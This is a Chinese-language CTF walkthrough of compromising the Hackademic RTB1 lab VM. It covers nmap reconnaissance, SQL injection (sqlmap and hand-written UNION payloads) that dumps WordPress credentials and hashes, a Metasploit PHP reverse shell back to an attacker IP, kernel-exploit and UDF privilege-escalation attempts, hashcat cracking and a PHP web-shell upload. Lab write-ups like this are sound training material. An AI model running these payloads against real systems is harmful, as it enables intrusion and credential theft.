信息收集
判断存活主机
nmap -sT --min-rate 10000 192.168.182.0/24
Nmap scan report for 192.168.182.135
Host is up (0.030s latency).
Not shown: 992 filtered tcp ports (no-response), 6 filtered tcp ports (host-unreach)
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
MAC Address: 00:0C:29:01:8A:4D (VMware)
判断主机存活端口信息:
nmap -sT --min-rate 10000 -p- 192.168.182.135
仅仅存在两个端口,分别是22和80端口,很显然这台靶机的突破点在80端口!(犯病了 这里22写的是closed!!)
udp端口扫描:
nmap -sU -p- 192.168.182.135
udp端口没有开放!
尝试做一下服务版本信息的收集和漏洞脚本的信息探测!
nmap -sT -sC -sV -O -p22,80 192.168.182.135
nmap -sT --script=vuln -p22,80 192.168.182.135
存在一个不安全的http方法,trace方法!这个在对客户的渗透测试过程中是要在渗透测试报告种体现的!
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| http://ha.ckers.org/slowloris/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-vuln-cve2011-3192:
| VULNERABLE:
| Apache byterange filter DoS
| State: VULNERABLE
| IDs: CVE:CVE-2011-3192 BID:49303
| The Apache web server is vulnerable to a denial of service attack when numerous
| overlapping byte ranges are requested.
| Disclosure date: 2011-08-19
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
| https://www.securityfocus.com/bid/49303
| https://seclists.org/fulldisclosure/2011/Aug/175
|_ https://www.tenable.com/plugins/nessus/55976
|_http-trace: TRACE is enabled
| http-enum:
|_ /icons/: Potentially interesting folder w/ directory listing
MAC Address: 00:0C:29:01:8A:4D (VMware)
漏洞脚本的探测也没还有发现什么有价值的东西!
渗透测试
既然开放了80端口,那就访问下看看存在什么样的服务:
“访问你的目标并且尝试获取到root权限!”
这里出现了几个链接!no comments Uncategorized 这里还出现了一个用户名吧:Nickjames!!!这里我们留意一下吧,避免之后会用到!
no commens链接如上图!怀疑url链接可能存sql注入漏洞!但是通过添加单引号进行闭合,并没发现存在sql注入漏洞!
Uncategorized链接!
同样还是测试是否存在sql注入漏洞和文件包含漏洞!
在测试文件包含的时候,出现了sql语句!判断可能存在sql注入漏洞!看到爆出来的sql语句,构建sql注入命令:
可见 确实是存在sql注入的!
跑一下SQLmap!
python sqlmap.py -u http://192.168.182.135/Hackademic_RTB1/?cat=1 --dbs
获取到三个数据库:
information_schema
mysql
wordpress
存在wordpress数据库!
sqlmap -u http://192.168.182.135/Hackademic_RTB1/?cat=1 -D wordpress --tables
获取到了9个表!
| wp_categories |
| wp_comments |
| wp_linkcategories |
| wp_links |
| wp_options |
| wp_post2cat |
| wp_postmeta |
| wp_posts |
| wp_users |
sqlmap -u http://192.168.182.135/Hackademic_RTB1/?cat=1 -D wordpress -T wp_users --dump
获取到五个用户的账号和密码信息:
NickJames admin
MaxBucky kernel
JasonKonnors maxwell
TonyBlack napoleonMas
GeorgeMiller q1w2e3
既然拿到了wordpress的账号和密码,先尝试一下是否能够ssh登录!
ssh
既然登陆不上的话,那就只能是找一下wordpress的后台登陆地址,进行登录了!
wordpress
利用dirsearch进行目录爆破:
成功发现了wordpress!进入wordpress的后台登陆地址,尝试利用上面拿到的账号和密码进行登录,利用wordpress各种插件和主题的漏洞进行getshell!
利用第一个账号进行登录,成功登录进来,页面的下方暴露出来wordpress的版本信息:
这个wordpress好老的样子,都没见过这样的wordpress!查找网上公开的漏洞!
找到了几个相关的漏洞,但是都是sql注入,上面已经通过sql注入获取了相关的信息,感觉没什么利用的价值~
(这里也尝试了这几个exp,但是没利用成功~)
我还是认为利用插件 主题的bug来执行我们的代码,但是登录的这个管理员的账号,没看到什么主题 插件好奇怪,这里便可以挨个账号进行尝试:
直到最后一个账号!发现了大量的信息:
终于是看到了插件!
直接全部激活,看看能不能编辑插件!
插件编辑!来了来了!写phpinfo();看看?
代码被执行了!准备上反弹shell代码!
msfvenom生成反弹shell的php代码,写入。然后起msf监听!
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost=192.168.182.130
run
将msfvenom生成的反弹shell马,写入之后,更新一下!自动跳转到我们刚才编辑好的页面!msf收到会话!
进入shell,准备提权!
提权
当前的用户是apache用户,确认ip地址确实是攻击的地址!
由于我们的shell交互性还不是很好,利用dpkg -l | grep python查看是否安装了python,尝试利用python提升一下我们的shell的交互性!
但是没有dpkg命令 那就直接利用python -V查看一下python的版本信息吧!
python -c "import pty;pty.spawn('/bin/bash')"
尝试查看/etc/passwd文件:
发现了除root用户之外的两个用户拥有着bash;其他用户都没有!
sudo -l查看当前用户具有的权限,但是需要输入当前apache用户的密码,我们并不知道~
查看定时任务,发现也没有定时任务~
尝试利用下内核漏洞进行提权!
不知道这两个漏洞是否存在:先试试再说
确认目标主机上是否存在gcc!gcc- v
攻击机起php服务:
php -S 0:80
给执行权限!
尝试40812.c脚本,发现编译出错~ 估计也够呛~
(PS:这里使用了无数的方法!)
sudo -l 查看当前用户的权限,看是否能够执行相关root的命令 但是发现需要输入apache的密码
find / -perm -u=s -type f 2>/dev/null 查看具有suid权限的文件 没有找到可以利用的
cat /etc/crontab 定时任务排查 无定时任务
内核漏洞两个exp进行提权 提权失败
dirtycow提权 失败~
vim提权 没有vim
在/etc/passwd里面尝试追加用户 没有权限
查看拥有bash的各个用户家目录下是否存在.ssh #没有权限查看~
查找是否存在备份文件等 没找到~
查找网站目录下的相关配置文件! 发现数据库的配置文件找到了数据库的账号和密码!!!
本想着可能root用户使用的密码也是数据库root的密码 其实不是 登陆失败!!!
UDF!
UDF提权
在网站的上层目录下找到了数据库的文件
本来想着root的密码是不是就是这个数据库的密码呢?其实不是!呦呦呦登陆失败了~
此时想起来UDF提权!
mysql -uroot -p
show global variables like "%secure%";
查看我们要用的那个目录:
这里我们通过searchsploit来寻找利用文件:(就用1518先试试把):(之后就通过cat 1518.c 按照里面的步骤进行执行即可)
通过起php服务,让靶机下载这个文件:(给他修改了一个名字,为了就是直接执行命令!)
gcc -g(指定生成调试信息) -c (生成源代码但不进行链接) raptor_udf2.o -fPIC(指定生成位置无关代码)
之后便是按照文件里面的步骤执行就好了:
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
生成了共享文件!
使用mysql数据库!
创建一个表名为foo (类型为blob的列名line)
接下来就是把共享库文件存储到数据库中:
insert into foo values(load_file('/tmp/raptor_udf2.so'));
之后就是将他转储出来,路径就是我们查到的那个路径/usr/lib/mysql/plugin/
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
这里报错了,说是没有读写的权限'/usr/lib/mysql/plugin/raptor_udf2.so'; 真的了~
没有别的方法打了我!
后面看了wp!!!(包括红笔师傅也说了查内核漏洞的时候 不要把内核的版本写的那么详细!!!!)
searchsploit linux 2.6.31
searchsploit linux 2.6.3 #下面这个方法 会查到15285.c
(打自己一耳光吧 总是记不住呢???)
(提权成功~ 我哭死 试了那么多方法~)
UDF提权失败的原因 大佬说是 mysql不是root运行的!
【补充】
关于前期的sql注入,还是存在一个问题,我用上了sqlmap,还是这个原则:能不用大型的工具就不用大型的工具。
现在来手工对漏洞进行复现:
拿到了报错的信息,判断这里应该是存在sql注入的!
之后便是判断当前的表wp_categories存在的列数,利用order by命令 按照列数进行排序!如果不存在那一列,那么就会报错了!
可以看到当我们按照列数为6的时候,进行排序!报错说没有这一列,那么我们就知道了这个表一共存在5列!
之后我们需要判断回显的地方在第几列!
整个sql的查询语句上面已经是回显给我们了!(利用union联合查询进行判断~)
select * from wp_categories where cat_ID=1 union select 1,2,3,4,5 LIMIT 1
#当我们前面的select语句出现错误的时候,而我们后面的语句是正确的时候 那么前面的查询语句实际上也就失效了~
让前面的语句报错!后面正常执行~暴露出来了回显点!
#查看数据库版本
select * from wp_categories where cat_ID=0 union select 1,version(),3,4,5 LIMIT 1
#数据库当前的用户
select * from wp_categories where cat_ID=0 union select 1,user(),3,4,5 LIMIT 1
#数据库名称
select * from wp_categories where cat_ID=0 union select 1,database(),3,4,5 LIMIT 1
之后就是查询数据库里面的信息,这里可以直接google下wordpress的数据库结构!
https://codex.wordpress.org/Database_Description/1.5
其中的users表中存在几个比较重要的字段,分别是:id、user_login user_pass user_level(user_level的值越大 说明权限就越大!因此我们就找里面权限最大的账号密码即可)
0 union select 1,group_concat(id,0x3A,user_login,0x3A,user_pass,0x3A,user_level),3,4,5 from wp_users
1:NickJames:21232f297a57a5a743894a0e4a801fc3:1,
2:JohnSmith:b986448f0bb9e5e124ca91d3d650f52c:0,
3:GeorgeMiller:7cbb3252ba6b7e9c422fac5334d22054:10,
4:TonyBlack:a6e514f9486b83cb53d8d932f9a04292:0,
5:JasonKonnors:8601f6e1028a8e8a966f6c33fcd9aec4:0,
6:MaxBucky:50484c19f1afdaf3841a0d821ed393d2:0
查出来一共存在六个用户,然后其中GeorgeMiller用户的level值是最高的!那么我们就可以确定了这个用户的权限是最高的~
接下来就是破解该用户的密码的哈希值:
利用hashcat进行破解:
hashcat -a 0 -m 0 7cbb3252ba6b7e9c422fac5334d22054 /usr/share/wordlist/rockyou.txt
-a 0 直接爆破
-m 0 指定加密方式为md5
后面就是字典
之后便可以拿着这个用户身份进行登录!
Miscellaneous选项卡中可以配置上传!
勾选上允许文件上传,之后添加上允许上传php文件:
更新配置之后,上面的菜单栏中,就会出现upload!上传php一句话反弹shell!
上传文件之后,便会返回给我们shell的地址:/wp-content/shell.php
之后便是提权阶段!